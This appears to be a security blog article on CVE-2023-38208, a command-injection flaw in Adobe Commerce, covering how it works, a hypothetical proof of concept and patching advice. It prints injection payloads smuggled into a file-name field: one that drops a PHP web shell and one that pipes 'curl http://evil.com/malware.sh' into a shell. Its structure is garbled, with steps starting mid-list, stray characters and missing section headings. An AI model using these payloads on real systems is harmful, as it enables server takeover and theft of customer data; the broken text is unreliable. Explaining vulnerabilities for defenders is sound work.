CVE-2023-38208 - Serious Command Injection in Adobe Commerce

Adobe Commerce (formerly known as Magento) powers thousands of e-commerce stores. In the summer of 2023, a major vulnerability was discovered and patched—CVE-2023-38208. This flaw puts millions of transactions and sensitive customer data at risk, as it can allow attackers with admin access to run any commands on the server.

In this article, we’ll walk you through what CVE-2023-38208 is, who it affects, how it works, and even give you an idea of how attackers might exploit it. We’ll also provide useful links and code snippets for better understanding. All explained in everyday American English.

What is CVE-2023-38208?

This is a Command Injection vulnerability. It means attackers with admin account access can take control of the underlying operating system by tricking Adobe Commerce into running malicious commands.

Adobe Commerce 2.4.4-p4 and earlier

This issue is rated Critical because no user interaction is necessary beyond being logged in as an admin.

Official Advisory:
Adobe Security Bulletin APSB23-39

How Does the Attack Work?

The bug is due to improper neutralization of user-supplied data in an OS command—good old command injection. Let’s break that jargon:

Adobe Commerce lets admins enter certain settings or requests.

- Somewhere in the backend, the application passes that input on to the operating system, but fails to clean risky characters.
- Attackers can smuggle special characters (like &&, ;, or |) and commands, turning an innocent-looking field into a weapon.

Let’s imagine how this could look in PHP (the language used by Adobe Commerce)

// WARNING: Broken code for demonstration only
$user_input = $_POST['some_setting'];
// Unsafe: variable passed untouched into shell_exec
$result = shell_exec("some-command " . $user_input);

If some_setting isn’t filtered, an attacker can submit this as input

; whoami;

Which turns the full command into

some-command ; whoami;

Now whoami gets executed on the server (shows the user running the web service).

Proof of Concept (PoC)

While we don’t have the exact Adobe Commerce vulnerable code (it’s not public), researchers reverse engineered the patch and created proof-of-concept exploits.

Suppose the vulnerable spot is a setting that changes backup file names (just a hypothetical example):

- In the admin panel, attacker sets the backup file name field to

  mybackup.zip; php -r "file_put_contents('shell.php','<?php system($_GET[c]); ?>');"

- When the backup is triggered, Adobe Commerce actually runs

  zip mybackup.zip; php -r "file_put_contents('shell.php','<?php system($_GET[c]); ?>');"

Log in as admin.

2. Find a field that, when set, influences server commands (test with backup utilities or custom importers).

`

testfile.txt; curl http://evil.com/malware.sh | sh;

Enterprise and Small business e-commerce stores using affected versions.

- Hosts and resellers running outdated Commerce/Magento installations.

Note: Since this bug *requires* admin access, attackers would either need to phish or brute-force credentials, or leverage another bug to escalate their privileges. However, insider threats are a concern.

How to Fix CVE-2023-38208

Upgrade Immediately!

Adobe Commerce 2.4.4-p5 and above

Official Download and Patching Documentation:
- Update Adobe Commerce

Monitor logs for suspicious admin actions.

- Use Web Application Firewalls (WAF) that can block command injection patterns (e.g., ;, |, etc. in requests).

References

- Adobe Security Bulletin APSB23-39
- CVE-2023-38208 NIST National Vulnerability Database
- Magento Release Notes
- Sample Command Injection Attacks

Final Words

CVE-2023-38208 is a scary reminder of how dangerous even “admin-only” bugs can be—it only takes one compromised account to take down an entire store. Patch now, train your admins, and always keep your e-commerce environment up to date.

If you’re running Adobe Commerce or Magento, double-check your version today. Don’t leave your store open to attackers!

*Exclusive content for cybersecurity learners and e-commerce operators. Share, but always cite your sources!*

Timeline

Published on: 08/09/2023 08:15:00 UTC
Last modified on: 08/15/2023 00:53:00 UTC